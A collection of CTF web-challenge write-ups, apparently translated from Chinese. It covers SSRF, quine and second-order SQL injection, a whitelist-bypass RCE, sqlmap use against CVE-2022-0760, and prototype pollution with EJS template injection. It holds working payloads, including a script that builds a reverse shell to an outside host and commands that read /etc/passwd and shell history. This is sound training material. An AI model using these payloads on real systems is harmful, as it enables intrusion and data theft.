Article directory
[SDCTF 2022]CURL Up and Read
Test center: SSRF
Open the question and find that it is a curl command, prompting to fill in the url
Tryhttp://www.baidu.com
, jump successfully
Change the url Decode the string and get the json format data
. Read the environment variables and get the flag
{"url":"file:///proc/1/environ"}
[NUSTCTF 2022 Freshman Competition]Translate
Test point: quine injection
Open the question and there is a login box, F12 found the hint
Visit it
The filter() function exists and can be used to access the php://filter pseudo-protocol to process files
In a simple test, string and base64 were filtered. Then we can change the filter
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
Get the source code
The test point is quine injection
Found that char is filtered (chr tried but no echo)
Then use 0x to bypass
payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')#
But I found that there are only three things going on
It should be the filtering of replace, so we can bypass it
username=admin&password=1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#
get flag
[Anxun Cup 2020]BASH
Source code
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>
Specifies the whitelist and then no echo RCE
Refer to the boss's construction script to rebound the shell
import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f = ''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False
# 弹shell
print(build('bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'))
#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)
Rebound successfully
Get flag
[GXYCTF 2019]StrongestMind
Submit 1000 times to get the flag
The key point is that the calculation must continue the previous result, otherwise the script will always be successful for the first time
So we submit it once to get the result of res.text, and then calculate it in a loop
Script
import re
import requests
import time
url = 'http://node4.anna.nssctf.cn:28509/index.php'
session=requests.session()
req = session.get(url)
result = re.findall("<br><br>(\d.*?)<br><br>",req.text)
result = "".join(result)
result = eval(result)
data={"answer":result}
res = session.post(url,data)
for i in range(1000):
result=re.findall("<br><br>(\d.*?)<br><br>",res.text)
result="".join(result)
result=eval(result)
data={"answer":result}
res = session.post(url,data)
res.encoding="utf-8"
print(str(i))
if "NSSCTF" in res.text:
print("计算完成")
print(res.text)
break
time.sleep(0.1)
[BJDCTF 2020]Mark loves cat
(Using buu’s target machine)
Open the question, scan it and find that git is leaked
Get the source code
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
Directly overwrite the foreach variable withif($_GET['flag'] === $x && $x !== 'flag')
?handsome=flag&flag=handsome
[HNCTF 2022 WEEK2]ohmywordpress
Test site: CVE-2022-0760
Open it and find that it is wordpress, F12 to look at the source code to find the version
After searching, it is found that there is a CVE-2022-0760 vulnerability
Directly use sqlmap time blind injection
sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs
The database was successfully injected
and the flag was obtained
sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag -C "flag" --dump
[Geek Challenge 2020]rceme
Open the question, F12 will prompt you
It seems that you need to use vim to restore the backup file. Visit/.index.php.swp
and copy it to kali. Enter vim -r index.php.swp
on the command line
To analyze, the first five digits of the required code number after MD5 encryption must meet the session code value; then there are no alphanumeric and partial character RCE, and there are no parameters.
We will tell us the top five requirements that the code must satisfy when we find them in the source code
We use scripts to blast
import hashlib
for i in range(1,1000000000):
str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
if(str1[0:5]=='574bb'):
print(i)
print(str1)
break
Then when the command is executed, it is found that the negated character is not filtered. Try constructingphpinfo();
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
successfully executed
Then the structure is as follows
system(next(getallheaders()));
Just add the command at User-Agent
[Netding Cup 2018]comment
Test points: git source code recovery, secondary injection
Scan the directory and find git leaks
Directly use git_extract (the source code obtained by githack is incomplete)
git_extract directly restores the incomplete source code< /span>
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
Analysis, you must first log in successfully and then have the functions of posting and leaving messages.
When posting, all three parameters will be addedlashed, that is, they will be escaped. For example, uploading 1'
will not close the preceding single quotes. When leaving a message, you can find that the category is not escaped, so we can use secondary injection
Tell us your login account and password
zhangwei
zhangwei***
Just use bp to explode and get 666
//假设我们发帖内容为
category=1',content=user(),/*
titie=114514
content=*/
//write发帖插入数据后(注意这里category的单引号因为转义并不会闭合)
$sql = "insert into board
set category = '1',content=user(),/*',
title = '114514',
content = '*/'";
//comment留言传参content=*/#
$sql = "insert into comment
set category = '1',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
//由于这里category不会被转义所以成功
$sql = "insert into comment
set category = '1',
content=user(),
bo_id = '$bo_id'";
Executed successfully
Let’s try reading the file
category=1',content=load_file('/etc/passwd'),/*
content=*/
然后再留言注释掉
content=*/#
You can see the home directory of the www user, and then you can look at the user's historical operations.
1',content=load_file('/home/www/.bash_history'),/*
It was found that the file .DS_Store was deleted
Then .DS_Store should still exist under /tmp/html
At the same time, because this is a binary file, we Add a hex encoding and the payload is
1',content=hex(load_file('/tmp/html/.DS_Store')),/*
Decode hexadecimal and find the flag file
Read it directly
1', content=(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
[HGAME 2023 week4]Shared Diary
Test points: Prototype chain pollution, ejs template injection
The source code is as follows
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data
// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});
app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})
app.listen(8888, '0.0.0.0');
There is a merge function that can pollute the prototype chain, but if filtered__proto__
can be replaced by constructor.prototype;/login
There is a prototype chain pollution vulnerability under routing. Create a variable and check whether the role value is admin. If so, jump to the route;/
There is ejs template injection under the route
The question can parse JSON data sent through POST requests.
.use(bodyParser.json());
So the payload is as follows
{
"username":"admin",
"password":"123456",
"constructor":{
"prototype":{
"role":"admin"
}
}
}
bp captures the packet, changes the Content-Type to json, and successfully obtains the session
Then use this session to log in, and access and route directly
Utilize Code
let diary = ejs.render(`<div>${req.body.diary}</div>`)
ejs.render() has an SSTI vulnerability. You can insert the <%- %>
tag to execute arbitrary js and directly complete the RCE
payload
<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>